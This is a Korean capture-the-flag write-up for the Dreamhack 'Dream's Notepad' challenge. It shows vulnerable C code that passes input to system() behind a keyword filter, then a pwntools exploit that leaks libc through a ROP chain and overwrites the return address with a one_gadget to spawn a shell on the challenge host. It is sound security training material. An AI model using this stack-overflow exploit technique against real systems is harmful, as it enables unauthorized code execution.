[Dreamhack Wargame] Dream's Notepad

don't panic·2024년 2월 8일
0

System Hacking wargame

목록 보기
35/39

code

//gcc -o Notepad Notepad.c -fno-stack-protector
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void Initalize(){
   setvbuf(stdin, (char *)NULL, _IONBF, 0);
   setvbuf(stdout, (char *)NULL, _IONBF, 0);
   setvbuf(stderr, (char *)NULL, _IONBF, 0);
}

void main()
{
    Initalize();

    puts("Welcome to Dream's Notepad!\n");

    char title[10] = {0,};
    char content[64] = {0,}; // [rbp-0x60]

    puts("-----Enter the content-----");
    read(0, content, sizeof(content) - 1);

    for (int i = 0; content[i] != 0; i++)
    {
        if (content[i] == '\n')
        {
            content[i] = 0;
            break;
        }
    }

    if(strstr(content, ".") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "/") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, ";") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "*") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "cat") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "echo") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "flag") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "sh") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "bin") != NULL) {
        puts("It can't be..");
        return;
    }

    char tmp[128] = {0,}; // [rbp-0xe0]

    sprintf(tmp, "echo %s > /home/Dnote/note", content);
    system(tmp);
    
    FILE* p = fopen("/home/Dnote/note", "r");
    unsigned int size = 0;
    if (p > 0)
    {
        fseek(p, 0, SEEK_END);
        size = ftell(p) + 1;
        fclose(p);
        remove("/home/Dnote/note");
    }

    char message[256]; //[rbp-0x1e0]
    
    puts("\n-----Leave a message-----");
    read(0, message, size - 1);

    puts("\nBye Bye!!:-)");
}

  • message에 overflow를 일으켜서 return address를 조작하면 될 것 같다.
    • contents: [rbp-0x60]
    • temp: [rbp-0xe0]
    • message: [rbp-0x1e0]
  • 여기서 포인트는 size가 계속 0인 상태로 있어야 read를 크게 할 수 있다는 것이다. 따라서 /home/Dnote/note를 열지 못 하도록 해야 한다. system(tmp);가 실행이 되지 않도록!

exploit

  • puts(read_got);으로 libc base를 알아낸다. 그러고 다시 main으로 돌아가, libc_base로 구한 one_gadget으로 return address을 덮어 쉘을 딴다.
  • 쉘을 따자마자 플래그를 바로 찾을 수는 없을 거다.
from pwn import *

p = remote('host3.dreamhack.games', 14913)
e = ELF('./Notepad')
libc = ELF('libc.so')
og = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

puts_plt = e.plt['puts']
read_got = e.got['read']
pop_rdi = 0x400c73
p.sendlineafter(b'content-----\n', b'`')

msg = b'A' * 0x1e0 + b'B' * 0x8
# puts(read_got)
msg += p64(pop_rdi) + p64(read_got)
msg += p64(puts_plt) + p64(e.symbols['main'])
p.sendlineafter(b'message-----\n', msg)

p.recvuntil(b'-)\n')
leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
lb = leak - libc.symbols['read']
one_gadget = lb + og[3]
log.info(hex(lb))

p.sendlineafter(b'content-----\n', b'`')
msg = b'A' * 0x1e0 + b'B' * 0x8
msg += p64(one_gadget)
p.sendlineafter(b'message-----\n', msg)

p.interactive()

0개의 댓글